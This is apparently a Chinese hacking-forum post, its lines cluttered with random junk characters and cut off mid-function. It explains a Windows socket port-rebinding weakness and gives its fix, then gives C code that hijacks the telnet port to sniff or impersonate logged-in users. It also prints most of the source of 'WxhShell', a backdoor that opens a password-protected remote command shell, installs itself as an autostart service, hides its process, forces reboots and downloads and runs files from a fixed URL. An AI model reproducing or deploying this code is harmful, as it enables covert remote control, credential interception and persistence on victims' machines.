在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
bXJ(QXHd% s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
0]5XTc3r jfK&CA saddr.sin_family = AF_INET;
ifS#9N|8 %JDQ[%3qY saddr.sin_addr.s_addr = htonl(INADDR_ANY);
L|WrdT D; GcN}I=4| bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
nam]eW Jw5@#j 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
oo;<I_#07 \bT0\
(Js\ 这意味着什么?意味着可以进行如下的攻击:
atpHv**D<i wL~A L 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
oF$#7#0`;8 a0)w/A& 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
O\f`+Q`0 }IWt\a<d 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
Yr{hJGw[ }< '6FxR 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
*@bz<{! H<!q@E
; 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
gOnZ# DX! dU'tj 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
Ra5 3M!>] d;>G 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
0V-jOc odca? #include
jR}EBaI} #include
/1Gmga5 #include
#W8F_/!n| #include
c/88|k DWORD WINAPI ClientThread(LPVOID lpParam);
JYj*.Q0 int main()
WYF8?1dt + {
FR6 W-L WORD wVersionRequested;
;+C$EJw- DWORD ret;
GXm#\) WSADATA wsaData;
>"IG\//I BOOL val;
\},H\kK+^ SOCKADDR_IN saddr;
-3yK>\y=| SOCKADDR_IN scaddr;
5 ph CEKt; int err;
Q&PWW#D SOCKET s;
@+t|Aa^g SOCKET sc;
>{{ds-- int caddsize;
t0fgG/f' HANDLE mt;
mCt/\ DWORD tid;
q}p$S2` wVersionRequested = MAKEWORD( 2, 2 );
_O}U4aGMTC err = WSAStartup( wVersionRequested, &wsaData );
?ch?q~e) if ( err != 0 ) {
oU,8?(}'~ printf("error!WSAStartup failed!\n");
G^ k8Or2 return -1;
oJNQdW[ }
L/Kb\\f saddr.sin_family = AF_INET;
{Zv%DV4_$ <D:q4t
//截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
!X: TieyVu SrNc saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
s@&3;{F6D saddr.sin_port = htons(23);
VDOC> if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
,j>FCj> {
@7"n X printf("error!socket failed!\n");
p>pN?53S return -1;
'*XIp: }
l?"^2in. val = TRUE;
0`.&U^dG //SO_REUSEADDR选项就是可以实现端口重绑定的
|WS@q' if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
l8(9?!C
{
evZP*N~G printf("error!setsockopt failed!\n");
p #w8$Qjp return -1;
u9Adu` }
:0(^^6Q\ //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
IT= y+ //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
HaL'/V~ //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
Z1
)1s 075IW"p' if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
esZhX)dS {
6bs-&Vf ret=GetLastError();
%CnVK1u! printf("error!bind failed!\n");
Ga9iPv return -1;
`D=OEc }
x1`w{5;C 2 listen(s,2);
}~&0<8m while(1)
[mwqCW& {
HfH+U& caddsize = sizeof(scaddr);
1H.;r(c //接受连接请求
h{o,*QL sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
`+(n+QS _ if(sc!=INVALID_SOCKET)
bxPa|s? {
kD+#| f mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
Zs}h>$E5_B if(mt==NULL)
PW%ith1)< {
vv)w@A:Vn) printf("Thread Creat Failed!\n");
y|BHSc3 break;
uPcx6X3] }
q]f7D\ M }
i@6g9\x+
CloseHandle(mt);
;
Yc\O:Qq }
6'mZM=d closesocket(s);
h&i(Kfv* WSACleanup();
q1YNp`]0i8 return 0;
X&aQR[X }
FTEC=j$ln DWORD WINAPI ClientThread(LPVOID lpParam)
/g*_dH)= {
6(?@B^S>2 SOCKET ss = (SOCKET)lpParam;
^F?B_' SOCKET sc;
!7~4`D
c6U unsigned char buf[4096];
%.Btf3y~ SOCKADDR_IN saddr;
2vB,{/GXP long num;
8zRw\]? DWORD val;
8?m=Vw<kIZ DWORD ret;
fA?Wf[`x //如果是隐藏端口应用的话,可以在此处加一些判断
4MDVR/Z7 //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
'HfI~wN saddr.sin_family = AF_INET;
/ QL<>g saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
cahlYv' saddr.sin_port = htons(23);
'bZw-t!M@ if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
m,hqq%qz {
(W"0c?i|] printf("error!socket failed!\n");
`_/1zL[ return -1;
H/[(T%]o }
1Zk1!> ? val = 100;
1$# r)S[* if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
k}kwr[ {
wp8-(E^ ret = GetLastError();
VIGLl'8p return -1;
0)PZS> }
aVVE2:M if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
gjK: a@{ {
Dz.kJ_"Ro
ret = GetLastError();
NI:OL
return -1;
| 9 *$6Y }
D5@}L$u if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
|@b|Q, {
?vD<_5K;I printf("error!socket connect failed!\n");
d_:tiHw$ closesocket(sc);
4E!Pxjl 3a closesocket(ss);
>~_>.R+{ return -1;
/;Cx|\ }
V^D1:9i while(1)
xPT$d,~" {
cbou1Ei
//下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
b!SIs* //如果是嗅探内容的话,可以再此处进行内容分析和记录
"/^kFsvp //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
2&s(:= num = recv(ss,buf,4096,0);
T|oDJ]\J if(num>0)
/Yww G;1 send(sc,buf,num,0);
Z^mIGy} else if(num==0)
%^I 7= break;
R. ryy num = recv(sc,buf,4096,0);
P:'y}a- if(num>0)
<;b send(ss,buf,num,0);
3!*`hQ;s else if(num==0)
zhRF>Y` break;
|`wJ
{- }
},5LrX`L closesocket(ss);
[A!=Hv_$ closesocket(sc);
W^:g_ return 0 ;
6xh-m }
3e;K5qSeo/ (|6!pQ7 aeLIs SEx ==========================================================
Oh`Pf;.z% :^QV,d<C 下边附上一个代码,,WXhSHELL
2j>C4Ck zS?}3#g0u ==========================================================
;rCCkA6 V^9%+L+E5 #include "stdafx.h"
~te{9/ L(`q3>iC4. #include <stdio.h>
6NFLk+kqN #include <string.h>
2I4G=jM[ #include <windows.h>
=o"sBVj #include <winsock2.h>
%HZ!s
`w_ #include <winsvc.h>
\=W t{ #include <urlmon.h>
{2|sk9?W 5=MM^$QG #pragma comment (lib, "Ws2_32.lib")
/KJWo0zo #pragma comment (lib, "urlmon.lib")
Tc;BE eLN(NSPoS #define MAX_USER 100 // 最大客户端连接数
uTrGb:^ #define BUF_SOCK 200 // sock buffer
rPW9lG #define KEY_BUFF 255 // 输入 buffer
%%O_:@9x, c$hoqi |tD #define REBOOT 0 // 重启
7,9zj1< #define SHUTDOWN 1 // 关机
c%n%,R> #0qMYe>Y #define DEF_PORT 5000 // 监听端口
| qf8y C\[g>_J #define REG_LEN 16 // 注册表键长度
LrV4^{9( #define SVC_LEN 80 // NT服务名长度
qp1rP# LTD; // 从dll定义API
?=Z0N&}[ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
H&ZsMML/% typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
N;,N6&veK/ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
6^p>f:5 typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
v".u#G'u ##NowO // wxhshell配置信息
@)@hzXQ struct WSCFG {
!. ={p8X-x int ws_port; // 监听端口
9c@\-Z' char ws_passstr[REG_LEN]; // 口令
lFM'F [-?- int ws_autoins; // 安装标记, 1=yes 0=no
bzMs\rj\ char ws_regname[REG_LEN]; // 注册表键名
"l09Ae'V char ws_svcname[REG_LEN]; // 服务名
w+ibY char ws_svcdisp[SVC_LEN]; // 服务显示名
dG]s_lb9H char ws_svcdesc[SVC_LEN]; // 服务描述信息
kmL~H1qd char ws_passmsg[SVC_LEN]; // 密码输入提示信息
+Mh 9Jf int ws_downexe; // 下载执行标记, 1=yes 0=no
{[B` q char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
iuq%Q\0@w char ws_filenam[SVC_LEN]; // 下载后保存的文件名
b{JxTT}03 _UeIzdV9 };
0l %|2}a ] yXrD`J! // default Wxhshell configuration
w~9=6|_ struct WSCFG wscfg={DEF_PORT,
{I_I$x_ "xuhuanlingzhe",
<~qhy{hRn 1,
9_S>G$9D "Wxhshell",
|a Ht6F "Wxhshell",
8|#p D4e "WxhShell Service",
!;C *Wsp} "Wrsky Windows CmdShell Service",
2KmPZ&r "Please Input Your Password: ",
9ev"BO 1,
d `+cNKf "
http://www.wrsky.com/wxhshell.exe",
>*mLbp" "Wxhshell.exe"
F_Mi/pB^`9 };
G@n%P~ 5/{gY{ // 消息定义模块
=l9H]`T/ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
=}AwA5G char *msg_ws_prompt="\n\r? for help\n\r#>";
A|U_$!cLZ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
Ax+q/nvnb char *msg_ws_ext="\n\rExit.";
SA$1rqU= char *msg_ws_end="\n\rQuit.";
.!J,9PE char *msg_ws_boot="\n\rReboot...";
E
:Y
*; char *msg_ws_poff="\n\rShutdown...";
n\y%5J+ char *msg_ws_down="\n\rSave to ";
hG!"e4 ((%g\&D char *msg_ws_err="\n\rErr!";
|LDo<pE*V4 char *msg_ws_ok="\n\rOK!";
DPsf] r5?qz<WW~ char ExeFile[MAX_PATH];
7e-l`] int nUser = 0;
KuO5` HANDLE handles[MAX_USER];
]LhNP}c int OsIsNt;
A,qWg0A]nt FLekyJmw~ SERVICE_STATUS serviceStatus;
ztS'Dp}q< SERVICE_STATUS_HANDLE hServiceStatusHandle;
O8:,XTAN 6,|)%~VUm // 函数声明
A5ps|zidI int Install(void);
&Qdd\h# int Uninstall(void);
xem:#>&r int DownloadFile(char *sURL, SOCKET wsh);
bP 2IX int Boot(int flag);
"i1~YE void HideProc(void);
>m{)shBX int GetOsVer(void);
+H
L]t'UEg int Wxhshell(SOCKET wsl);
;0 VE* void TalkWithClient(void *cs);
UujFZg[-P9 int CmdShell(SOCKET sock);
NN W* int StartFromService(void);
&H{KXX"X int StartWxhshell(LPSTR lpCmdLine);
Q4MTedj1H uNYHEs6%T$ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
LJMw-#61sj VOID WINAPI NTServiceHandler( DWORD fdwControl );
}0Q6iHX@ 1vQj` F // 数据结构和表定义
[Hww3+~+ SERVICE_TABLE_ENTRY DispatchTable[] =
ukSi9| 1-, {
8W"~>7/>D {wscfg.ws_svcname, NTServiceMain},
rX#}2 {NULL, NULL}
5sq#bvfJ o };
f13%[RA9N @`ttyI^1f // 自我安装
*5#Y[c int Install(void)
B/Lx, {
_6
~/`_(KP char svExeFile[MAX_PATH];
(k..ll p~ HKEY key;
J,E'F!{ strcpy(svExeFile,ExeFile);
h^5'i}@u xla9:*pPn // 如果是win9x系统,修改注册表设为自启动
toEmIa~o6 if(!OsIsNt) {
'qhA4W9 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
}cE,&n RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
/tf}8d RegCloseKey(key);
,g$N if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
ET`;TfqM RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
xXu/CGzG RegCloseKey(key);
>i4UU0m return 0;
4PEJ}BW }
7oDr`=q1]r }
dt
4_x1 }
xF_ Y7rw1w else {
jv]:`$}G\ rK2*DuE // 如果是NT以上系统,安装为系统服务
4
|N&Y SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
$N=A, S if (schSCManager!=0)
H0s,tTK8 {
g!O(@Sqp1 SC_HANDLE schService = CreateService
m4*Rr (
E#T-2^nD schSCManager,
?zN v7Bj wscfg.ws_svcname,
AtA}OY]D/ wscfg.ws_svcdisp,
lV^sVN Z] SERVICE_ALL_ACCESS,
q7wd9 6G: SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
d]k>7. SERVICE_AUTO_START,
|YQ:4'^" SERVICE_ERROR_NORMAL,
F[c;iM(^ svExeFile,
n}yqpW!%n NULL,
q"A( l NULL,
d7u"Z5t NULL,
h?DMrYk_%# NULL,
)=X8kuB~ NULL
3M(:}c );
|_%| if (schService!=0)
xUzSS@ot^ {
kO\(6f2|x CloseServiceHandle(schService);
JF_\A)<ki CloseServiceHandle(schSCManager);
5HioxHL strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
Xt /muV strcat(svExeFile,wscfg.ws_svcname);
<vA^%D<\~ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
hsljJvs RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
}$;T.[ ~ RegCloseKey(key);
l9q
ygh return 0;
\sF}NBNT@ }
c% 0h!zF }
{JzX`Z30l CloseServiceHandle(schSCManager);
8Hs>+Udl }
Y'Jb@l`$- }
^^%sPtp ~^IS{1 return 1;
/z,sM"d }
z8mR< q%` q0w5ADd // 自我卸载
O.1Z3~r-N int Uninstall(void)
w-|i8%X {
aIZ@5w"7 HKEY key;
z8= Gc$w! &|26x
> if(!OsIsNt) {
U\
y?P:yy if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
Om{[ <tL RegDeleteValue(key,wscfg.ws_regname);
>NW
/0'/ RegCloseKey(key);
M\8FjJ>9 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
3`k1 RegDeleteValue(key,wscfg.ws_regname);
ho@f}4jhQ3 RegCloseKey(key);
ALwkX"AN return 0;
*n2Q_o }
yIbz\3 }
~c :e0} }
7^Jszd:c08 else {
JQE^ bcr 9 YU7R) SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
^,b*.6t if (schSCManager!=0)
T8ZBQ;o {
FymA_Eq SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
@k,u xe- if (schService!=0)
Z%XBuq:BY {
Nd#t != if(DeleteService(schService)!=0) {
_d]w)YMO CloseServiceHandle(schService);
Lz=nJn CloseServiceHandle(schSCManager);
?a~=CC@ return 0;
PQXyu1 }
[FC7+
Ey^ CloseServiceHandle(schService);
0: h;ots' }
RoLUPy9U CloseServiceHandle(schSCManager);
7J,W#Ql)5 }
{{[).o/ }
^QB/{9 # E[t\LTt*n return 1;
CjOaw$s }
|VlAt#E &.+[~2 // 从指定url下载文件
M`KrB5a+6 int DownloadFile(char *sURL, SOCKET wsh)
4G@vO{$ {
zY\v|l<T HRESULT hr;
Q]w;o&eo char seps[]= "/";
fmA&1u/xMs char *token;
,^,Vq]$3 char *file;
L1Fn;nR char myURL[MAX_PATH];
omECes) char myFILE[MAX_PATH];
7l7eUy/z vf~q%+UqK strcpy(myURL,sURL);
RXt`y62yK token=strtok(myURL,seps);
} ~=53$+ while(token!=NULL)
+sE8 1B {
Vs8os+ file=token;
X5qU>'?` token=strtok(NULL,seps);
wv
,F>5P }
AT+|}B! ZGzrh`j{- GetCurrentDirectory(MAX_PATH,myFILE);
.pi#Z/v strcat(myFILE, "\\");
;#3!ZB:} strcat(myFILE, file);
Uv[:Aj send(wsh,myFILE,strlen(myFILE),0);
23pHB|X send(wsh,"...",3,0);
1b;Aru~l hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
e1}h|HLj if(hr==S_OK)
f>waFu- return 0;
v=i[s else
7SXi#{ return 1;
|j^>6nE (Y,
@-V }
kdQ=% E^1uZI\z // 系统电源模块
RX=C)q2c int Boot(int flag)
!F;W#Gc {
0$}+tq+ HANDLE hToken;
uc=-+*D'I TOKEN_PRIVILEGES tkp;
X LA W5_t/_EWD if(OsIsNt) {
4'Vuhqk OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
#rzxFMA" LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
R7x4v tkp.PrivilegeCount = 1;
`8xe2=Ub tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
6rt.ec( AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
.4_EaQ;jX if(flag==REBOOT) {
isDBNXV: if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
8\. # return 0;
0D|^S<z6 }
n9t8RcJS: else {
4zpprh+`K if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
/r[0Dw return 0;
'e7<&wm ia }
8Th|' }
A37Z;/H~k else {
3,oFT if(flag==REBOOT) {
1-r1hZ- if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
]8d]nftY return 0;
zJ3{!E}`v }
&Zd{ElM else {
m,Q<4' if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
H:,rNaz7D^ return 0;
!ygh`]6V }
2Ev~[Hb. }
[% |i Cj_cu return 1;
Rw^4S@~T }
< I8hy$+6 {/XzIOO;b // win9x进程隐藏模块
p!|Wp void HideProc(void)
!wJ~p:vRdY {
B6MMn. k
U*\Fa*E HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
d=xU
f`^ if ( hKernel != NULL )
8!b#ez {
8g(%6 ET pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
~BrERUk ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
c/x ^I{b* FreeLibrary(hKernel);
6Nj\N oS }
iKLN !QR UXDd8OJL return;
p8%x@%k }
FGzB7w# +QtK
"5M // 获取操作系统版本
ojT TYR{ int GetOsVer(void)
`L]cJ0tAs {
rzLpVpTaz OSVERSIONINFO winfo;
Cb x/ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
*S:^3{.m= GetVersionEx(&winfo);
\[B5j0vV, if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
&P&M6v+ return 1;
-PBm@}* else
80![aj}z4G return 0;
-%5*c61 }
B r`Xw^S &h`s:Y // 客户端句柄模块
]6GdB3?UVM int Wxhshell(SOCKET wsl)
&Jk0SUk MP {
DNLqipUw SOCKET wsh;
oa}-=hG struct sockaddr_in client;
A=I]1r DWORD myID;
}_@*, TlQ#0_as[ while(nUser<MAX_USER)
Xb?P'nD {
?`uY*+u int nSize=sizeof(client);
Eu l,1yR wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
(6^v`SZ if(wsh==INVALID_SOCKET) return 1;
,=Xr'7w, *6df|q handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
yS@c2I602 if(handles[nUser]==0)
q$(aMO&J closesocket(wsh);
Ra%RcUf~sh else
[ZZ~^U5 nUser++;
(5cc{zKtR }
8jMw7ti WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
%qV=PC 4sP0oe[h return 0;
Xg^`fRg =T }
UP58Cln* X#Y0g`muW // 关闭 socket
=XzrmPu void CloseIt(SOCKET wsh)
GXr9J rs.e {
K#%L6=t$< closesocket(wsh);
:p;!\4)u nUser--;
Ew*_@hVC ExitThread(0);
Oq7M1|{ }
V\W?@V9g- x{*g^f // 客户端请求句柄
kl?U2A.= void TalkWithClient(void *cs)
SGXXv {
f<=<:+ S*Qip,u SOCKET wsh=(SOCKET)cs;
%\6|fKB4< char pwd[SVC_LEN];
:rk=(=@8` char cmd[KEY_BUFF];
n!2"pRIi char chr[1];
3%bCv_6B int i,j;
)M<"YI)g -+Axa[,5= while (nUser < MAX_USER) {
g
j8rrd| ?T3zA2 if(wscfg.ws_passstr) {
^ r-F@$:. if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
}3E@]"<cVR //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
Oz'x5/%G //ZeroMemory(pwd,KEY_BUFF);
EcxPbRg i=0;
<1YINkRz while(i<SVC_LEN) {
q6bi{L@/R f=+|e"i#p // 设置超时
r{!]`
'8 fd_set FdRead;
3k.{gAZKh struct timeval TimeOut;
Nj$3Ig"l FD_ZERO(&FdRead);
qjFz}6 FD_SET(wsh,&FdRead);
8UJK]_99I, TimeOut.tv_sec=8;
q_bE?j{ TimeOut.tv_usec=0;
I<`K;El' int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
P^&%T?Y6z if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
)h]~<
fU 9t:F![rg if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
)r3}9J pwd
=chr[0]; :hJHjh
if(chr[0]==0xd || chr[0]==0xa) { n+QUT
pwd=0; Ebw1 %W KC
break; cKJf0S:cx-
} cXU8}>qY7
i++; w#vSZbh
} Zyt,D|eWj
HY0q!.qog
// 如果是非法用户,关闭 socket #tg,%*.s
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); >Akrbmh5
} 9>yLSM,!rS
M<s16
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 4[m})X2(
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); f!%G{G^`
AFE6@/'
while(1) { F0:|uC4
Aslh}'$}-
ZeroMemory(cmd,KEY_BUFF); #5)0~4%l
qB6@OS
// 自动支持客户端 telnet标准 #S)]`YW
j=0; q,`"Z)97
while(j<KEY_BUFF) { v%v(-, _q
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); '#RzX8|v<
cmd[j]=chr[0]; K2$ fKju
if(chr[0]==0xa || chr[0]==0xd) { kW#,o 9f\
cmd[j]=0; #hG0{_d7
break; 1N6.r:wg)%
} h
DpIwzJ
j++; 7=i8$v&GX
} YXz*B5R
K.) ionb
// 下载文件 ~e*3_l>9
if(strstr(cmd,"http://")) { =^8*]/k
send(wsh,msg_ws_down,strlen(msg_ws_down),0); 5&?[Vt
if(DownloadFile(cmd,wsh)) [Jv0^"]
send(wsh,msg_ws_err,strlen(msg_ws_err),0); "yaz!?O>
else OAJGwm
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); rQmDpoy =
} Y-!~x0-H
else { |osu4=s|
XJg8-)T#
switch(cmd[0]) { rPhx^
QKH2
PD #9Z=Hj
// 帮助 EQe !&;
case '?': { "NEg]LB5
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 8T6LD
break; !dnCrR
} g)0>J
// 安装
~o{GQ>
case 'i': { w-iu/|}
if(Install()) < z':_,
send(wsh,msg_ws_err,strlen(msg_ws_err),0); V"Cx5#\7C
else I(^pIe-
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); mzw`{Oy>L
break; e&~vO| 3w%
} LGnb"ZN
// 卸载 )/HbmtX qI
case 'r': { n/W@H Im#
if(Uninstall()) [|iWLPO1&k
send(wsh,msg_ws_err,strlen(msg_ws_err),0); +85#`{ D
else Nq]8p =e
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5k:SD7^b
break; CD^C}MB
} YcQ$nZAU
// 显示 wxhshell 所在路径 I0iTa99K
case 'p': { LR:PSgy
char svExeFile[MAX_PATH]; bn7"!6
strcpy(svExeFile,"\n\r"); 9NF2a)&~
strcat(svExeFile,ExeFile); >+,w2m@0
send(wsh,svExeFile,strlen(svExeFile),0); uqz HS>GM
break; rU6F$I=
} Cws;6i*=@
// 重启 s!k7Wwj
case 'b': { \r
%y^G
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); d]A.=NAc
if(Boot(REBOOT)) PP*6nW8
send(wsh,msg_ws_err,strlen(msg_ws_err),0); x[?N[>uw
else { [U5@m]>^
closesocket(wsh); JJ:p A_uX
ExitThread(0); KA
$jG{yq
} rX7GVg@H
break; 5D]3I=kj
} ak,KHA6u
// 关机 ^aG$9N<\
case 'd': { e
p jb
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 7e NLs
if(Boot(SHUTDOWN)) mM9a T0_w
send(wsh,msg_ws_err,strlen(msg_ws_err),0); \;XDPC j
else { VSx9aVPkC
closesocket(wsh); 5!QT
}Um
ExitThread(0); yv[3&E?
} uzoI*aqk-s
break; Pj-.oS2dA
} G]]"Jc
// 获取shell n!aA<
case 's': { P"(VRc6x
CmdShell(wsh); (@DqKB
closesocket(wsh); !S.O~Kq
ExitThread(0); ,(u-q]8
break; ]?<
wUd
} DCsamOA~
// 退出 *S xDwN
case 'x': { awXK9}.
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); +3yG8
CloseIt(wsh); L@5sY0 M
break; gmUXh;aHc
} A%[e<vj9
// 离开 reQr=OAez
case 'q': { -F. c<@*E
send(wsh,msg_ws_end,strlen(msg_ws_end),0); 8Y]% S9.
closesocket(wsh); qX[{_$^Q
WSACleanup(); Y/x>wNW
exit(1); zG0]!A
break; nND;
lVQSO
} Z~0TO-Q
} `uKsFXM
} vjL +fH<0:
!>:SPt l
// 提示信息 $u~*V
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0);
ZZ>"LH
} {|d28!8w
} M(^_/1Z
kYhV1I
return; )[S#:PP
} r>e1IG
vfd<qdi3p(
// shell模块句柄 /0sw rt.
int CmdShell(SOCKET sock) ~6"=d
{ {q/;G!ON.S
STARTUPINFO si; $`A{-0=x\U
ZeroMemory(&si,sizeof(si)); l4gF.-.GYF
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 4#Xz-5v
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; !/a![Ne
PROCESS_INFORMATION ProcessInfo; vbD""
char cmdline[]="cmd"; "S]G+/I|iw
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); gSa !zQN6
return 0; {/FdrS
} qfkdQ/fP
y7t'I.E[+
// 自身启动模式 2 \<u;9
int StartFromService(void) BM~6P|&qD
{ Jc7}z:U B
typedef struct ?8do4gT+1
{ ECyG$j0
DWORD ExitStatus; _l"=#i@L
